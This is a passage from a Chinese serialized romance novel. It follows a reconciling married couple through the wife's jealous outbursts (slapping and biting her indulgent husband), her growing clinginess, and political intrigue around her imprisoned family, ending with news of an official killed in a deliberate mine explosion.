眼眸垂下,男人在心里暗骂自己不争气,抿着唇又解了几颗扣子,然后手又被舒纯熙拉着将那条腰带给扯开。 腰带向后,由两条挂带揽着,松松地搭在风衣后面。 舒纯熙压着身子凑在敬渝耳畔,大大方方地亲了一口,然后告诉他: “我洗完澡下来的。风衣里面什么都没穿,上面,下面,都没有,敬渝哥哥。” 闻言,敬渝有些紧张地将手从她风衣上收回来,欲盖弥彰地将她的外套衣领又仔细拢了拢,防止漏出什么他不该看的来。 舒纯熙的话有些太露骨了,他还是不能适应,甚至害怕这又只是一场恼人的美梦。 他们的关系刚刚修复,并不是发生亲密关系的好时候。 甚至昨天晚上他还刻意把起床的闹钟给关了,是有意陪舒纯熙睡到她醒的。 因为昨晚两个人刚刚把话说开,他不想她早上醒来的时候,自己已经走了,并没有守在她身边。 敬渝心中有点疑惑,但那声“敬渝哥哥”还是打消了他的顾虑。 深呼吸了一口气,敬渝有些紧张地望着身上的舒纯熙,磕巴地说: “要不,还是回房里?我,我还没有洗过澡……” 舒纯熙倚在他胸膛上,摸了摸他的脸颊,说: “没关系的,今天小姨来家里了,她让我赶紧给你生个孩子,我答应了的。所以你不用准备,我准备好了就行。大哥,纯熙没有怀敬亭的孩子,你就别生气了,纯熙怀你的孩子好不好?” 敬渝耳边的 嗡鸣声在听到这两句话后终于缓缓褪去,他闭了闭眼,强迫自己心跳平静下来。 “纯熙,你不用这样的,小姨的话你全然不需要理会,你不舒服可以直接跟我说,我来处理……” 敬渝还没有说完,舒纯熙就疑惑地点点他的眉心,忽然又问: “那你不想要我吗?” 男人苦笑着摇了摇头,还没来得及张开口说话,就见眼前的女人露出一种哀怨的神情,垂下头悲苦地说: “那你就是嫌弃我,觉得我这具身体被你的堂弟同样凿开过,觉得如今的我配不上你敬家高贵的门楣,觉得我不配给你敬渝生孩子?” 敬渝知道她现在说的每一句话都言不由衷,他想叫她不要这样,可听到这些话,还是忍不住要替她生闷气,止不住要把她这些胡言乱语的问题都给解答完,把她脑子里面那些胡思乱想都给抹去。 他望着她,伸手攥住她要脱衣服的手,转而将她风衣上的扣子一个一个再度扣好,郑重地告诉她: “我为什么要嫌弃你?如果我嫌弃你,还要娶你,我算什么男人? “你和敬亭的事……没关系,你们有过的,我们两个也会有的,我会把他给你的记忆全部都覆盖掉,让你以后只记得和我的欢愉,再也想不起他来,好不好? “我等你这么久,才等到你愿意回头再给我一次机会,你说什么配不配的,不是叫我无地自容吗? “至于孩子,不是你给我生,如果我们有孩子,那是我们共同孕育一个孩子,你不要用这样的词说我们以后可能会有的孩子,好不好?” 舒纯熙静了,被他的话说得沉默了下去,鼻子一酸,然后“啪嗒啪嗒”地开始掉眼泪。 敬渝连忙伸出手去替她擦眼泪,软着声音哄道: “都是我错,一定是我没做好,今天小姨来家里跟你说了不好的话对不对,纯熙不要生气了,怨我就怨我,我马上去处理好不好?” 舒纯熙号啕起来,摆开他的手给了他一巴掌,怒吼道: “反正你娶我是要给敬亭的孩子做爸爸,我又没有怀孕,你的算盘都落空了,你跟我离婚啊,有本事你跟我离婚!……” 敬渝心想怎么又说到这一茬了,咬着牙连忙澄清道: “我哪里是这样,你怀孕了我要给孩子做爸爸,你要是没有怀孕,我早就要跟你结婚,给你做老公了,明不明白?” 哭着的女人不管不顾地捶打着他,恨恨地扇了男人几巴掌,将他的双颊扇得青红。 敬渝哪里顾得上这个,甚至左右脸配合的朝她扇自己的方向转过去,让她扇得省力,扇得尽兴。 好容易停下来,就把舒纯熙揽进怀里护好,双腿有规律地颠着,哄起怀里的炸毛小猫来,急得就像热锅里的蚂蚁。 怀里的人还在哭,张开嘴又咬在他肩膀上。 敬渝闷哼一声,单手将人抱起来,女人就跟一只八爪鱼一样趴在身上,带着她往书桌旁走,然后把自己的手机拿过来,再回到沙发旁坐下去。 女人在身上哭闹着,敬渝一边抱着抚哄,一边赶紧从手机通讯录里面找到柳叔的电话拨出去。 没多久对面接起来,敬渝忍着舒纯熙的啮咬,冲着电话那头沉声说道: “柳叔你把我小姨所有的车牌号都给统计出来,以后没有问过我,不许他们家的车开进来,不许放他们进家里!” 打完柳叔的电话,敬渝眼皮子直跳,偏过头亲亲舒纯熙的发顶,安抚似的摸了摸她的脊背,然后又拨通小姨的电话,还打开免提放在手边。 然后郑召雅大晚上的接到敬渝的电话,听到的就是好外甥异常严肃的声音,那边还伴随着女人的呜咽声,鬼知道电话那头他们在干嘛。 “小姨,您的好意我实在心领了,但是我跟纯熙的事情,还有我感情上的私事,一概不要您插手。 “您要是再来找我老婆的麻烦,到时候她被气走了不跟我过了,您外甥我可就只能打一辈子的光棍了!” 听到敬渝劈头盖脸的一顿骂,郑召雅委屈得不行,心说我不是去劝她给你早点生个孩子嘛,这也做错了? 但还没来得及开口给自己辩解什么,电话那头就传来女人更大声的哭闹号啕,隐约还听见什么“敬渝你这个王八蛋,敢找你小姨来教训我,我打死你算了”。 郑召雅心惊肉跳的,屏息听了一下,那头好像真的还传来几声清脆的巴掌声,还有外甥那隐忍的闷哼。 我的老天! 郑召雅在心中哀嚎一句,心道我就说那女人是个不得了的,感情这是跟自己耀武扬威呢! 虽然这么说,但郑召雅到底老老实实地把电话给挂了。 舒纯熙这边没消气,又一连打了敬渝十几个巴掌,凑上去咬他的脸颊。 男人无奈地抱住怀里攻击力一点都不弱的女人,心想这倒确实像是一只被惹急了的猫。 不过她跟自己闹也好,至少还有个能出气的口,总比以前那样不言不语来得好。 敬渝抚摸着舒纯熙的脊背,扯着嘴角低笑道: “你再咬,我就真的见不得人了,纯熙。” 舒纯熙大叫一声,从他身上起来,拽着他的衣领瞪着他。 “你混蛋,我气死了,我都要被你们这些人给欺负死了!” 敬渝心知她说的其实是实话,如果自己不让着她任凭她出气,她还不知道该有多少委屈要自己默默地咽呢。 想着,心里面愈发泛起难以抑制的心痛来。 男人面上不敢将这点心疼给显露出来,只是把女人松开,然后去抓她腰上的系带,将它重新系了个蝴蝶结。 做完这一切后,他才双手扶住舒纯熙的肩,认真郑重地对她说: “纯熙,我对不起你的地方,你尽情拿我出气,都是我应该受的。但是,你以后不要拿今天这种事情来开玩笑好吗,也不要再说这种话。” 他泄了气,有点委屈地摸了摸她的脑袋,然后说: “我不要你用那种话羞辱你自己,我知道你只是太生气了对吗?说这种话,我固然会难受,但你也不会多高兴的,对不对?下次你要是生气了,就直接罚我出气好了,不需要再这样说自己。” 他呢喃了一句,将人揽进自己怀里,眷恋地说: “纯熙,我视你如珍似宝,你在我心里,是这个世界对我最重要的人,是我不可或缺的宝贝。 “我当然想要你,想要你毫无保留地接纳我,想我们能拥有这世上最亲密的体验,但它不应该发生在任何一个负气赌气的场景里。再给我一点时间,我会让你心甘情愿的,我们一起等那一天来,好不好?” 第46章 舒纯熙被他这一通郑重严肃的表情达意给弄得只能偃旗息鼓,面上还是瞪着男人的脸,伸手一抹自己脸上的泪,恨恨地反驳了一句: “你就知道说教,就知道教训我!都是我错!……” 说完,她又冷不丁伸手把敬渝一推,直接从他身上下来,走回自己的鞋边上,两下穿好,踩着“哒哒”的步子就走到门边,“嘭通”一声打开书房门,负气走了。 敬渝留在原地,先是伸手摸了摸自己左脸上的牙印,然后再拿起一旁的手机站起来,追着上了楼。 率先离开的女人穿着高跟鞋,就只能走小碎步,一前一后的功夫,她打开卧室的房门后,步子迈得更大的男人也已经到了房门外面。 女人没管身后的男人,把门留给他去关。 走到床边的舒纯熙只觉得自己的一呼一吸里都带着十分的不顺心,抬起手把风衣腰带抽开,再两下把扣子给解干净 ,脱下来反手扔到了身后人的脸上。 被有些重量的风衣猛地一砸,呼吸一滞的同时,男人只来得及抬起双臂将衣服握在掌中。 身前不远处的女人露出里面穿着的淡黄色吊带和短裤,是一套适合盛夏穿的丝绸睡衣,手脚并用像只小猫一样,三两下从床尾爬到床上,掀开被子钻了进去。 敬渝缓缓地从眼前的境况里反应过来,那在眼里一闪而过的黄色衣角抚在心头,将那一点点不敢翻涌上来的恼意也给抚平了。 男人的唇角放松下去,将那件风衣拿下来从中间叠好,掷在沙发上,走到舒纯熙平时睡的那边床畔。 衬衫袖口解开挽在小臂上,西装裤腿修长平整,男人的身躯朝着被子里面缩成一只小虾米模样的女人靠近,伸手连着被子一起,将她的腰揽在自己怀里,将自己从后面贴在了她的后背上面。 舒纯熙皱着眉,还没发出点声音,耳边就响起来带着点低笑的男声,淡淡地说: “原来纯熙是耍我啊,小骗子。” 那尾音的一个“啊”字拖得老长,余音绕梁一般在女人的耳朵绕来绕去,她想听不出来什么都难。 在敬渝怀里转过身来,舒纯熙转着黑溜溜的眼睛,盯着男人,飞快地说: “不然呢,你还想要我下多大的本呐!” 敬渝哑然失笑,底下的那只大掌抬起来,温柔地摸了摸怀中人的发丝,然后凑上去在她耳朵上飞快地亲了一口。 耳畔传来的声音好像骤然加大,还不等舒纯熙反应过来,那人已经又躺了回去,只是右臂压在枕头上探过去,捏着她的一缕杂发轻巧地拨弄着。 好像刚刚那种大胆的举动根本就不是他做出来的一样,但舒纯熙还是能感受得到,眼前这个人的心情已经阴雨转晴,透着颇为轻松愉悦的氛围。 她翻了个白眼,搁在被子里的手,隔着面料的隔挡,不轻不重地推了他一把。 敬渝当然不恼,凑近些把人连着被子都抱在自己的怀里,像是在抱一只蚕蛹,平静地说: “纯熙,对不起,我不知道今天小姨会来家里,她还跟你说什么了吗?” “她说我是狐狸精,把你跟敬亭都迷得失了心智。” 说完,舒纯熙不满地踢动了一下小腿,目光含怒地望着男人,等他的反应。 敬渝听在耳边,很快就联想到不久前才得知的那桩事,心里又萦绕上浓烈的不适感,只不过他不能让这样的情绪被舒纯熙察觉,很快凑过去亲了亲她的眼睛。 他一靠近,舒纯熙便只能闭上眼皮子,好让他的唇瓣落在自己的眼皮上,闭上了眼睛,自然也就看不到敬渝眼底那种复杂的情绪。 “因为纯熙很好很好,所以才会被倾慕。” 男人带着安抚的温润声音响在耳边,停顿了一下,慢条斯理地说了句: “小姨的话,你不要当真。我看小姨她自己当寡妇当疯了,看不得我们两个感情好。” 敬渝的这句话说完,舒纯熙一时之间都找不出来什么话来回答或者应和,只是忽然睁开眼睛,用一种像看什么新奇事物的表情盯着敬渝的脸。 男人脸上的红还未消下,或许今夜都不能恢复了,原本一张淡漠清隽的玉面上布上薄红,两片薄薄的唇瓣上还沾着舒纯熙先前留在他嘴上的口红颜色,随着说话的动作轻轻地翕动着,有种别样的美感。 舒纯熙望着望着,忽然也就没怎么气了,挣开他的怀抱从床上坐起来,伸手用指尖触了触他的一边面颊上自己的齿印。 在听到“嘶”的一声轻哼后,又赶紧收了回来,两只手撑在腿侧,浮上点说不清道不明的情绪,嘟囔起嘴说: “你这个脸明天就要肿起来了,正好变丑了,就不能出去招蜂引蝶了。” 说完,别过脸不去看他了。 敬渝长这么大,还是第一次听舒纯熙说他丑的,双手无措了一瞬,然后变成了抿唇的委屈。 他又没有被打的癖好,他也不想要破相的。 这桩小小的心事一直延续到他哄完身旁的女人睡着。 男人动作很静地下了楼,在医疗箱里翻找出来好几支消肿的药膏,把一张脸都涂满,无比清凉。 晚上睡觉的时候,他因为担心蹭掉双颊上的药膏,难得地没有侧过身去把舒纯熙抱到怀里,维持着朝天仰面正躺着的姿势,只是伸出一只手,把枕边人的手掌握在了自己掌心里面,然后才安心入睡。 但即使这样“抢救”了一晚上,第二天敬渝还是不得不带上口罩,才能出门上班。 上午还特地抽出一段空闲时间,去医院里面找医生好好看了下自己这张脸。 不知道是不是因为早上看见敬渝捂着口罩出门时的情景,舒纯熙心里生出了一些愧疚和补偿的意思。 这天晚上吃完饭,敬渝去书房后没多久,她就端着一杯牛奶也进了书房。 将手上那个玻璃杯放在他手边,女人露出一个很诚挚的完美微笑,站在书桌一边,说: “给你喝的,补充点营养。” 坐在椅子上的男人眼有疑虑地拿起玻璃杯,张嘴喝了一口,确定里面装的是牛奶后,扯了扯嘴角,低低地挪耶了一句: “是你自己不想喝吧?” “那怎么了,借花献佛嘛!” 舒纯熙跺了一下脚,扬声狡辩了一下。 回到书房之后,敬渝已经拿掉了口罩,脸上的红肿也不知道处于哪个阶段倒是那个牙印,不知道几时才能彻底消下去。 舒纯熙想象了一下别人看见他脸上的牙印的表情,就觉得鸡皮疙瘩都要起来了。 有点后悔的揪住两根食指,扭在一起,站了好一会儿,才把衣兜里的一个优盘拿出来,放在身前的书桌上。 “这个给你,是爸爸给我的,你看看能不能用得上。” 第47章 男人的目光落在不远处的那个优盘上,沉默地望了几息之后,才探身将优盘拿起来握在自己的手上,又靠回椅背上,把右手边的抽屉打开,将手里的东西稳当地放进去。 “好,我会看的。” 做好这一系列动作后,敬渝再朝舒纯熙伸出手,示意她也把手伸出来。 就这样,女人的手搭上去,两个人的手掌交握在一处。 而后他用另一只手转动了一下玻璃杯的背身,似乎是想好了,才忽然提道: “你今天中午在家都吃了什么?” “红烧带鱼,冒烤鸭,夫妻肺片,还有小龙虾……” 女人盯着书房上半部分的空气,眼珠顺势转动着,很认真地回忆了一下自己的午餐。 吸溜吸溜。 而问话的人一听到这些菜名,一整张脸就好像隐约发痛了起来,撇撇嘴说: “那这些菜我都吃不了,今天我去看医生了,他让我保持清淡饮食,说这样才能好得快点。” 闻言,舒纯熙的嘴干巴巴地张了张,最后合上了,顺着他的话将他的脸又给好好看了一遍。 男人也在此时垂下眼睑,半闭着眼,收回手遮挡住自己落在她视线里的那半张脸,双唇抿着,看上去竟然很有几分落寞又委屈的样子,悄声说: “纯熙别再看我现在的 样子……不好看了。” 站在他身旁的女人垂着头,目光却并未从他的身上移开,只是将自己的两手揪在一起,心里天人交战了起来,最后,说: “那,那我以后尽量控制,就、就不咬你脸了。” 她想着,像是签休战条款那样,挑挑拣拣好一会儿,最后才给出来这么一个条件。 眼底下的男人并没有因为这话儿有什么反应,依旧僵在原地,温温柔柔地反驳了一句,说: “没关系,纯熙想怎样对我都可以,我只是……只是怕你觉得我碍眼。” “不碍眼,你还是很好看的。” 舒纯熙咬了咬牙,心一横,凑过去将那杯牛奶拿起来塞到他手心里面,语气有点发虚地说: “你赶紧把牛奶喝了吧,能好得快点。” 这下,敬渝没再推辞,“嗯”了一声后,拿起牛奶一饮而尽,再接过旁边人带着点殷勤递过来的纸巾,就着擦嘴的功夫,按下了自己隐约勾起来的唇角。 “你每天在家都做些什么,会不会觉得无聊?” 放下杯子,男人伸手顺势一揽,将已离自己很近的人带到腿上,让她面对着自己坐着。 “商会明天有个手工类的体验活动,你想不想去参加?” 说完,敬渝还动了下身体,探身将桌子上的一张传单拿过来递给她,这是他今天特意拿回来带给她的,其实是底下一个慈善类型机构举行的,他之前让郑徽替自己留过心。 怀里的女人好像并不怎么感兴趣,拿过来随便扫了一眼,捏在手上,然后向前埋进他的胸膛,并不答话。 敬渝张开臂弯方便她搂着自己,两具身体紧紧相贴之后,才偏头去她耳边低低地问: “怎么了,不想去就不去,我只是怕你在家待得无聊了。” “我是无聊。” 最近因为敬渝的原因,她的入睡时间也没有那么晚了,每天早上醒来的时间也就提前了不少,那些娱乐活动却翻来覆去也就那么些,她待在家里好像是会闷。 有点无语地从鼻子里哼出一口短气,舒纯熙默默地说: “我想要你陪。” 敬渝愣怔了一下,才缓缓哑然失笑,唇角轻轻勾起,拍了拍怀里的人,说: “那我明天抽出时间来,陪你一起去参加好不好?” 不是这样的。 那上面的手工织机活动,明显就是一种艺术疗愈类的活动,不论是从做手工的角度,还是从什么其他地方,都不是以前敬渝会陪她一起参加的。 既然如此,他又为什么要陪自己一起去参加。 她要的也不是这样的陪伴。 舒纯熙不言不语,只是闷声将双手擦过他与椅背之间,牢牢抱紧了男人的腰身,一丝一毫都不愿放开。 没等敬渝琢磨明白妻子到底是什么意思,书房的门从外面被敲响,郑徽在外面出了声。 怀里的人窝着一动不动,那两只手好像还把自己身上的衬衫给拽得更紧了。 敬渝只好伸手揉了揉舒纯熙的头,温柔地哄道: “我先处理下工作,你不想回去的话,就在这里待着陪我好了,你先过去沙发那边坐吧,好不好?” 怀里的女人依旧没有动弹,敬渝应了外面的郑徽一声“稍等”,将贴在自己胸膛上的那颗脑袋轻柔地抬起来,看见一张沉下来的脸,满脸写着不高兴。 “怎么了嘛,我的大小姐?” 语调微扬,男人用指尖抚了抚那皱在一块儿的眉毛,扯着嘴角冲她有点无奈地笑。 舒纯熙叹了一口气,抬起眼皮子看他一眼,然后倾身亲了一下他的嘴唇,默不作声地从敬渝身上下来,背过身挪动到沙发上坐了下去。 看着那个慢吞吞动作的背影在单人沙发上坐下来,留给他一个侧身后,敬渝才收回了目光,让郑徽进来。 很快门打开,郑徽走进来后才发觉舒纯熙也在书房,打了声招呼,然后把手里的文件拿出来给敬渝,说了几件工作上的事。 这些事都说完,站在书桌前的郑徽才压低了些声音,又语焉不详地说了句什么。 敬渝面上不显,做了个手势,不动声色地站起来,示意他跟自己出去说。 两个人走到走廊上,进了中间的竹庭里,听着飒飒的竹响,郑徽才将最新的进展汇报给敬渝。 对面的人一时间没有答话,沉思着什么。 “敬总,其实我还是觉得,舒省不可能什么证据都没留给太太吧?以前太太出于谨慎不愿意给我们,现在,” 郑徽想到刚刚在书房坐着的女人,又联想起这几天两人明显改善的关系,还是开口主动提起来,问道: “你向她要的话,她应该愿意给吧?” 敬渝扫了眼郑徽,晦暗的眸光收回来,落在地面上的某处竹影,说: “用不上的。” 男人垂首,压着喉咙中的一口气未曾叹出,目光晦涩幽暗地静立在一片阴影下,声音若有似无。 一阵风吹过,将他的一点点声息拂得更轻了。 郑徽望着,便也只能闭上嘴,有些颓然地放下双肩,跟他各执一方,安静地站着。 “行了,不早了,回去吧。” 敬渝抬头看了眼天,主动说了句,然后转身回了书房。 。 舒纯熙百无聊赖,迷迷糊糊地闭着眼,感到一个热源朝自己靠过来,然后她的身体就到了一个臂弯里,而后腾空,被抱着上了楼,回到房里。 应该是敬渝终于谈完事情了。 女人心里有了猜想,没有再睁开眼去确认是不是他回来了,只是将心舒展开来,安稳地缩在床垫上。 过了又一会儿,床那头另一个人也躺下来了。 她转了个身,朝那人的腰间拥过去,找了个舒服的姿势,终于放心地再次睡过去。 这一抱,一直抱到了第二天清晨。 苏醒后的敬渝,只觉得自己的侧腰被硌得有些不适,仔细一想,又觉得舒纯熙被自己压着的那只手臂应该会更不好受。 “纯熙,你先松开我,让我起来。” 男人原本清润的声音此时有些沙哑,夹杂在一起有种别样的韵味,响在舒纯熙的头顶,微一推拒她搭在腰腹上的那只手, “你的手得麻了。” 身侧的那颗小脑袋动了下,反而朝他贴得更近,瓮声瓮气地说: “不要。” 敬渝意欲撑床坐起身的动作顿了,被她软绵绵地抱着,也只好又睡回去,想先把她垫在底下的那只手臂给拿起来。 但胸前的人动作里带着明显的不配合,他也只得作罢。 “手不麻么?” 空出手抚了抚舒纯熙的头发,敬渝柔声哄道: “先放开我好不好?我得起床去上班啊。” “不要,” 她还是那句话,将整个身子都容进他的臂弯了,抱着牢牢不松手, “……不许去。” 被抱着的人无可奈何地轻笑了一声,只好纵容她抱着自己。 “那我先帮你把手抬起来好不好,抱了一晚上,一定很麻了。” 还是一句“我不要”,仿佛她一松开手,自己就会在她眼皮子底下跑掉一样。 敬渝难得又体味到什么叫做“甜蜜的负担”了,眉眼弯弯,也拥了回去,小声说: “那我们一起起床,一起去公司,我下午抽两个小时陪你去参加活动,这样好不好?” 怀里的那颗脑袋还是摇了摇,声音里竟然听得出来点委屈。 “我不要,你不许走,就在家陪我。” 低笑了一下,敬渝昂头在脑子里过了一遍今天要做的事,最后还是磨不过寸步不让的怀里人,纵容地说: “行,我不去,我陪你。” 怀里的人这才消停,将手松开了些。 男人于 是将她的那只手给抬起来,看她这才龇牙咧嘴起来,哭闹着说手麻得难受。 敬渝又是按摩又是安抚,两人在床上消磨了好一会儿,才得以起床。 第48章 此后几天,舒纯熙对敬渝几乎到了寸步不离的地步。 如果说先前的她像是一只高傲的猫,只有在偶尔的特殊时刻才会露出内心柔软依赖的那一面的话,最近的她就像是进入了烦躁的分离期一样。 并非是时时展露出一种黏着他的样子,只是在两人亲近的时候,不再掩饰心里的想法,紧紧地妥帖地拥抱在他的怀里面。 每当这时候,她也会眉目忧愁地发号些施令,要他抱抱自己,要他亲亲自己,还要他说“我爱你”,要他早早归来,要他哄着她入睡。 敬渝无所不应,虽然心里的隐约欣喜跟受宠若惊夹杂在一块儿有点矛盾,但他还是尽量在最大范畴里空出自己的时间来,满足舒纯熙的要求。 从前,他总希望两个人能消除隔阂,不再像陌生人一般疏离,为此他做了很多努力,也在心里暗暗地希冀过不知多少回。 现在,这种宛若新婚蜜恋的情景降临在自己跟前,他只觉得一颗心都要融化了,但还是要好好捧给妻子看。 这段时间,对于自己“丈夫”与舒纯熙“妻子”的身份,他适应得已经颇为自然了,料想她亦是同样。 就连自己的脸,休养的这好几天也终于恢复如初,大概因为自己心情愉悦和照料妥当,也没有留下疤痕。 只唯有一点,暂时推后的工作可以过几天再做,但他却不能一直拖着不去公司。 他想过在书房做事,但妻子显然更喜欢窝在他的怀里,也提出过带舒纯熙一起去公司,可面临的不过是跟在家里书房处理工作一样的难题。 当然,她也并非是不讲道理的。 郑徽进到书房来时,她会去沙发坐着,他不得不出门时,她也会不舍地松手将他放开。 只那耷拉下的眼皮里,掩盖了她哀怨的愁绪。 每一次分开,她都像再次走进冰雪天地里,将自己闷在那种气氛里,长久地保持着缄默,明明白白地表示着,她会这样都是自己与她的分离导致的。 待他归来,是会再次靠近,是会轻声哄她,是会将她逗笑。 但敬渝心里逐渐明白起了她的那种感受,甚至不忍心再这样下去,不忍让她看着自己的背影终将离去。 不过几天时间,敬渝觉得自己也陷入了一种很奇怪的情绪怪圈里面。 他终于在一种蜜糖糊了般的美好梦境里琢磨出一件事来。 那就是即使两年前他们两个结婚,感情真正如胶似漆的样子,也并不会是如今的光景。 有好几次,他都欲言又止,想问明白舒纯熙她这是怎么了。 但她什么都不会说,只是偏过头巴巴地吮他的一片唇瓣。 敬渝无法,也只能回应她以自己更有力坚实的拥抱。 两个人除去心照不宣地避开那最后一件事,几乎已经同寻常夫妻没有了区别。 也不知道是在日久天长之中终于靠近了彼此,亦或是执着地去追寻那段年少绮梦的代偿。 说是一段时间,但其实也不过是短短四五天,只是这几天里敬渝自己的思绪百转千回,丰富地如同绕着地平线翻了好几圈,心中始终萦绕着一股淡淡的带着不安宁气氛的预感。 这天上午,因为妻子的埋怨,他上午没有出门去公司,而是在午后将她哄睡后,才穿戴整齐试图趁这个空当回一趟公司。 敬渝的步子堪堪迈到客厅,正朝大门走过去的时候,身后就传来一阵急促的拖鞋脚步声,应当是有人下楼的动静。 心中暗暗一跳,男人连忙转身朝着楼梯的方向看去,只见方才刚刚睡下去没多久的女人神色焦虑地朝自己追过来。 她还穿着午睡时候的睡裙,连外面披的睡袍也只是胡乱穿上,领子袒向一边恰露出小巧的锁骨,几缕发丝凌乱地搭在面上。 不过敬渝呼吸几次的功夫,女人已经到了跟前扑进他的怀里。 柔软的身躯贴着他有些坚硬冰冷的西装面料。 “你去哪儿?不许走。” 她抛出一个问题,但压根不想听回答,很快又给出她的指令。 身后门后的郑徽和两旁的佣人早避嫌地将眼睛转向别处去了。 敬渝束手无策,无奈地抚摸着怀里人的脖颈,不明白她为何总是将自己出门去的事情当做生离死别一般看待,露出这种凄然的样子。 “我去公司,加上路上的时间,就去四五个小时,然后就回来了。有些事我必须得去处理,纯熙乖,先回去睡觉好不好?” “不要。” 女人闷声,抬起头来就去解他的领带。 男人不可抑制地仰头,避得开她的视线却躲不了她的动作,任她将自己打好的领带扯得乱七八糟。 “宝宝……” 敬渝低声哄了句,笑了下,带着点讨好意味,祈求她在外人面前多少也给自己留点面子。 “我真的要走了,约了省司的领导,不好迟到让人家久等啊。” 他难得透了点真话,试图说服舒纯熙,约了省司的人,自然是为了她舒家的事。 而舒纯熙也只是停顿了一下,总算将他的领带拽开,拿下来攥在自己手里,好像没了这东西他就不能出门了一样。 “你是不是嫌我烦了?” 她垂下头,静默之后突然问了一句。 敬渝凝着她留给自己的发顶,胸膛里激荡着一种涩然不定的情绪,拥住她,轻声说: “没有,我怎么会嫌你烦呢,不会的。” “那你今天会不会见到别的女人,觉得她们比我好,比我优秀还比我讲道理,比我漂亮,然后不回来了?” 心里闷住了,敬渝又想起来自己那个混蛋堂弟,拉开胸前趴着的人,扯了扯衣领,俯下身去吻她,将她的唇细细亲过一遍,碍着不能发出声响的缘故,并未深入。 揉了揉她的耳边,压着声音用只有她一个人听得到的声音说: “怎么会?我老婆就是那个最好的最漂亮的,最优秀还最跟我讲道理的好宝宝。我见到别的女人都不会多看的,因为我要早点回来陪我自己的老婆。” “我怎么知道你说的是真是假?” 冷哼一声,女人好歹松开了他,不知道想起了什么,伸手抹了下眼睛。 “我说的当然是真的,你回去好好睡一觉,然后我就已经回来了。” 敬渝抿起唇,柔声对她说: “过几天我们还要去首都参加祝司长的葬礼呢,你忘了?等回来的时候,我就申请让伯父伯母出狱监禁,把他们接出来,所以我才要出门去见省司的人,你乖乖在家等我,好不好?” 一声抽泣在两人之间响起来,她主动退后了一步。 敬渝心知时间不能够再耽搁,狠下心来再亲了亲她的额头,也没顾被她扯走的领带,转过身出了门。 这是一个寻常的下午,只不过跟妻子分别花了点时间跟功夫,但已足够使敬渝酸涩起来的心始终不能够平复了。 他坐在车上,想着省司附近有什么名点可以带回去给她吃。 自打选好了一家甜品店后,男人心下稍定,到了省政司办公大楼后,也就专注谈起了事情。 半个多小时候,敬渝从办公室出来,本来应该还要去公司走一趟的,但想起来先前答应等在家里的人的话,知道不该再在外面逗留,便去那家店里排队,打算买完就回家。 盛夏时节的昼米尔市,骄阳如同火球炙烤着大地,外面排队的人并不算多,但只是一会儿功夫,身穿整套西服的男人还是起了一层薄汗。 选品时他看到游之翎从远处朝自己走了过来,但他无暇分心,认真地指了指展示柜里的几样糕点,示意人家各包上半斤。 待提了大包小包从队伍里转过身来,敬渝才望见游之翎不好的神情,而近旁的郑徽亦是一样。 男人敛了眸,一行人先朝路边停着的车走过去,待到放下手里的东西坐上车,才示意身旁的人开口。 “敬总,支宁方死了!” 游之翎虽然平时吊儿郎当,但情绪这么激动的时候,还是不多见。 闻言的男人手上擦拭的动作一顿,心中也很快升起了一种不可置信的情绪来。 “怎么死的,发生什么事?” “国政院前段时间要查旗山那边的水晶矿,今天支宁方带着督察员一起去矿上实地考察,进行到一半的时候,一个水晶池冶炼池爆炸了,靠得近的几个人当场死亡,矿上其他 离得远的也各自负伤。三个督导员跟支宁方还有他秘书、一个底下的文案人员都死了。” 敬渝分开双手,一只手的指尖点了点膝盖,望着游之翎,于是他继续说: “之前就有风声,据说旗山水晶矿的账早就平不了了,根本经不起细查,所以,” 所以他们选择在督察员到场的一天,直接引爆现场,炸死了督导员,还炸死了省司派下来接待督导员的级别足够高的领导支宁方。 旗山水晶矿直接被炸,想来其他证据也会被销毁,死无对证,查账的事情就只好暂时搁置了。 水晶矿如何,跟他们没关系,但支宁方却是个能替舒家出力的重要人物。 而现在他死了。 静默在后座的男人有些头痛,捏住眉心,只是道: “回家吧,纯熙该等着急了。” 他这么想的,也就这么说了。 司机在路口将游之翎放下,然后车子往敬宅的方向回。 回到家,后备箱的糕点自有人拿,敬渝先上楼回了卧室换衣服,而妻子并未如他所想在房里等自己。 想起刚刚得到的那个消息,敬渝手心里难得地起了点汗,不知为何,推着他早些去见舒纯熙。 水晶矿爆炸这种事,不像是祝文兵的猝死可以先压下去,今天下午的社会报道就会铺天盖地,她有可能已经看到了,敬渝知道她是会关注新闻的。 想到这,呼吸不免一滞,换了身休闲服的男人出了卧室门,问了洒扫的人太太在哪里,有人给他指了指书房。 这段时间,舒纯熙是会在他的书房里读书的。 他心下稍安,但脚步加快,连忙去了书房。 打开门,还穿着睡衣的女人就坐在他书桌的椅子上面,桌子左右两边的抽屉被打开来敞着,舒纯熙低着头,正在翻他每天会写的工作笔记。 那并非他的日记,只是他重要的所思所想都会记录在上面,说是极其重要的隐私也不为过,几乎每个季度就会用完一个笔记本。 男人走过去,看着舒纯熙恍若未闻地继续翻着页。 她在这本子上看到了一份增增改改的名单,跟上次父亲告诉她、让她去见的那些人几乎重合,涵盖了那些人,却又扩展得更多。 看前后日期推算,最终版应该是在敬亭的葬礼之后,她亲自见过那些人之后才敲定下来的。 女人的一手捏着页,另一只手撑在椅子上,手心里正起着凉汗,心下不禁噗笑一声,原来他那么早就自己写出来这份名单了。 看来她给他的那个优盘,实在是没什么用武之地。 可又是为什么,在她把东西给他之后,支宁方就突然死了? 宗正那时候的话敲在她心上,赶不走。 眼见女人面露痛苦隐忍的神情,敬渝克制着呼出一口气,也不想去计较她不经同意就翻自己的这些东西,走到她身边半蹲下去,将一只手覆在她支撑在椅子上的那只手。 尽管很不想承认,但打开房门,看见她自己上手在翻找自己书房里所有的文件时,他的心就已经沉下来了。 一路上他那种无所依托的虚浮感,也终于在此刻有了明确的答案。 敬渝仰着头,望着还执着地往后翻页、一目十行的女人,打断了她对挑拣自己想要的信息的那种不耐情绪,静静地说: “支宁方死了。不是我做的。” 女人的动作停顿了一下,底下的那只手想收回来,却被他抓握住,然后他又咬紧牙关,郑重严肃地说: “真的跟我没关系,你相信我。” 那只挣扎的手停了,连带着翻页的动作也不再明显,舒纯熙偏过头来看半跪在自己左手边的男人,有点无神的目光轻扫而过,忽然淡淡地说: “我相不相信你,又如何呢?重要么……我其实没有别的选择了,不是吗。” 她为鱼肉,人为刀俎,所有的一切,全凭他的心意不是么。 舒纯熙甚至觉得,敬渝有可能说得出“舒家虽然没了,但你是我的妻子,我还是会好好对待你”的这种话。 就算他真的这样的话,她又拿他有什么办法呢? 男人静默了,从他进来到现在,舒纯熙只说了这么一句话,就已经表明了她真正的态度。 